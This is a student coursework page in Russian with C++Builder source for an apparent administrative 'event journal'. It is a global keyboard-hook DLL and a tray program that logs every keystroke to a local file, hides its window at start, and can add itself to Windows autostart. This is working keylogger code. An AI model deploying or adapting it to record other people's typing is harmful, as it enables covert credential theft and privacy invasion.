ВУЗ: Не указан
Категория: Не указан
Дисциплина: Не указана
Добавлен: 07.11.2023
Просмотров: 112
Скачиваний: 5
ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
СОДЕРЖАНИЕ
1 Описание используемых инструментов и технологии
1.1 Обзор среды проектирования C++Builder
1.2 Создание dll средствами C++Builder
1.3 Работа с tray в C++Builder
1.4 Перехват событий клавиатуры
2 Описание программной реализации приложения
2.1 Описание структуры программного комплекса
2.2 Описание интерфейса Windows-приложения
2.3 Описание основных алгоритмов программы
2.4 Демонстрация работы журнала
Одной из важных черт любого программного обеспечения является юзабилити. В качестве расширения, улучшения программы необходимо разработать более эффективный дизайн, более удобную форму журнала с дополнительными функциями, такими как копирования всего журнала или его части.
В ходе выполнения работы получены навыки разработки системных программ для администрирования, работы с треем операционной системы, создания dll библиотек, разработки сборного проекта.
Список использованных источников
1. Дейтел, Х.М. Как программировать на С++ / Х.М. Дейтел, П. Дж. Дейтел; пер. с англ. – 3-е изд. – М.: Бином, 2001.
2. Страуструп, Б. Язык программирования С++ / Б. Страуструп; пер. с англ. – 3-е спец. Изд. – М.: Бином, 2002.
3. Луцик, Ю.А. Объектно-ориентированное программирования на языке С++ / Ю.А. Луцик, А.М. Ковальчук, И.В. Лукьянова. – Минск: БГУИР, 2003.
4. Скляров, В.А. Язык С++ и объектно-ориентированное программирование: справ. Пособие / В.А. Скляров. – Минск: Вышэйш. Школа, 1997.
5. Гамма, Э. Приемы объектно-ориентированного проектирования. Паттерны проектирования / Э. Гамма, Р. Хелм, Р. Джонсон. – Пер. с англ. – СПб.: Питер, 2007.
6. Borland C++ Builder 6 руководство разработчика [Электронный ресурс]. – 2020. – Режим доступа: http://www.cyberforum.ru/cpp-builder/ thread825173.html – Дата доступа: 20.05.2023.
7. Функция CreateFile [Электронный ресурс]. – 2020. – Режим доступа: http://vsokovikov. narod. ru/ New_MSDN_API/ Menage_files/ fn_createfile.htm – Дата доступа: 20.05.2023.
8. Функция DeviceIoControl [Электронный ресурс]. – 2020. – Режим доступа: http://vsokovikov.narod.ru/ New_MSDN_API/ Device_io/ fn_ deviceiocontrol.htm – Дата доступа: 20.05.2023.
Приложение А. Код dll-библиотеки
Файл UnitDll.cpp
//--------------------------------------------------------------
#include
#include
#pragma hdrstop
#pragma argsused
BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];
char sout[50];
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
ghDLLInst = hinst;
switch (reason)
{
case DLL_PROCESS_ATTACH:
{
GetSystemDirectory(
sysdir,
MAX_PATH
);
strcpy(logname, "d:\\log.txt");
}
case DLL_PROCESS_DETACH:
{
}
default:
break;
}
return 1;
}
//-------------------------------------------------------------
// wParam - virtual-key code
// lParam - keystroke-message information
void save (void)
{
strcat (sout,"\n");
LFile=CreateFile(
logname,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
OVERLAPPED ovlp;
DWORD ffsze=GetFileSize (LFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;
WriteFile (LFile,sout,strlen(sout),&NOfBytes,&ovlp);
CloseHandle(LFile);
};
extern "C" _declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
BYTE aa[4];
BYTE ww[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3] && 64);
BYTE scancode=aa[2];
memcpy(ww,&wParam,4);
if (code<0)
{
return CallNextHookEx(NULL,code,wParam,lParam);
};
char strDate[100]="";
SYSTEMTIME t;
GetSystemTime(&t);
GetDateFormat(0, 0, &t, "ddd MMM dd.MM.yyyy", PChar(strDate), 17);
strcpy (sout,strDate);
strcat (sout," - klavisha: ");
if(kdown && (wParam==VK_SHIFT))
{
strcat (sout,"shift");
save();
shift=true;
return CallNextHookEx(NULL,code,wParam,lParam);
};
if(!kdown&&(wParam==VK_SHIFT))
{
shift=false;
};
if (kdown && (wParam!=VK_SHIFT))
{
BYTE keyarray[256];
if(GetKeyboardState(keyarray))
{
if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
{
buffer[0]='\0';
};
};
strcat (sout,buffer);
if(isalpha(ww[0])&(!shift))
{
wParam=wParam+32;
};
wsprintf(buffer ,"%c",wParam );
if(wParam==VK_RETURN)
{
strcat(buffer,"Enter");
};
save();
};
return CallNextHookEx(NULL,code,wParam,lParam);
};
Приложение Б. Код основной программы
Файл UnitMain.cpp
//-------------------------------------------------------------
#include
#pragma hdrstop
#include "UnitMain.h"
#include "UnitAbout.h"
#include
//-------------------------------------------------------------
#pragma package(smart_init)
#pragma link "trayicon"
#pragma resource "*.dfm"
TForm1 *Form1;
//-------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//-------------------------------------------------------------
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
Memo1->Lines->LoadFromFile("D:\\log.txt");
}
//-------------------------------------------------------------
void __fastcall TForm1::ActionJurnalExecute(TObject *Sender)
{
Form1->Show();
}
//--------------------------------------------------------------
void __fastcall TForm1::ActionOptionsExecute(TObject *Sender)
{
if (Application->MessageBox("Установить в автозагрузку?","Параметры программы",MB_YESNO)==IDYES)
{
TRegistry *reg = new TRegistry();
reg->RootKey=HKEY_CURRENT_USER;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
reg->WriteString("Журнал событий",Application->ExeName);
reg->CloseKey();
};
}
//--------------------------------------------------------------
void __fastcall TForm1::ActionStartExecute(TObject *Sender)
{
// Проверяем удачность загрузки библиотеки
if(dllhook)
{
HOOKPROC hook = (HOOKPROC)GetProcAddress(dllhook, "KeyboardProc");//импортируем процедуру определения нажатой клавиши
if(hook)//проверяем удачность импорта функций
{
hhook = SetWindowsHookEx(WH_KEYBOARD,hook,dllhook,0);//ставим ловушку на события клавиатуры
if (hhook) Start=true;
}
}
ActionStart->Enabled=!Start;
ActionStop->Enabled=Start;
}
//-------------------------------------------------------------
void __fastcall TForm1::ActionAboutExecute(TObject *Sender)
{
FormAbout->ShowModal();
}
//-------------------------------------------------------------
void __fastcall TForm1::ActionStopExecute(TObject *Sender)
{
Start=false;
ActionStart->Enabled=!Start;
ActionStop->Enabled=Start;
UnhookWindowsHookEx(hhook);
}
//-------------------------------------------------------------
void __fastcall TForm1::ActionExitExecute(TObject *Sender)
{
if (Start)
{
ActionStop->Execute();
};
FreeLibrary(dllhook);
Close();
}
//-------------------------------------------------------------
void __fastcall TForm1::TrayIcon1Click(TObject *Sender)
{
POINT pt;
::GetCursorPos(&pt);
PopupMenu1->Popup(pt.x, pt.y);
}
//-------------------------------------------------------------
void __fastcall TForm1::ActionTrayExecute(TObject *Sender)
{
Hide();
}
//-------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// Делаем форму невидимой при старте
Application->ShowMainForm=false;
// Создаем журнал на диске
FILE* f=fopen("d:\\log.txt","w+");
fclose(f);
// Грузим dll
dllhook = LoadLibrary("ProjectDll.dll");
}
//-------------------------------------------------------------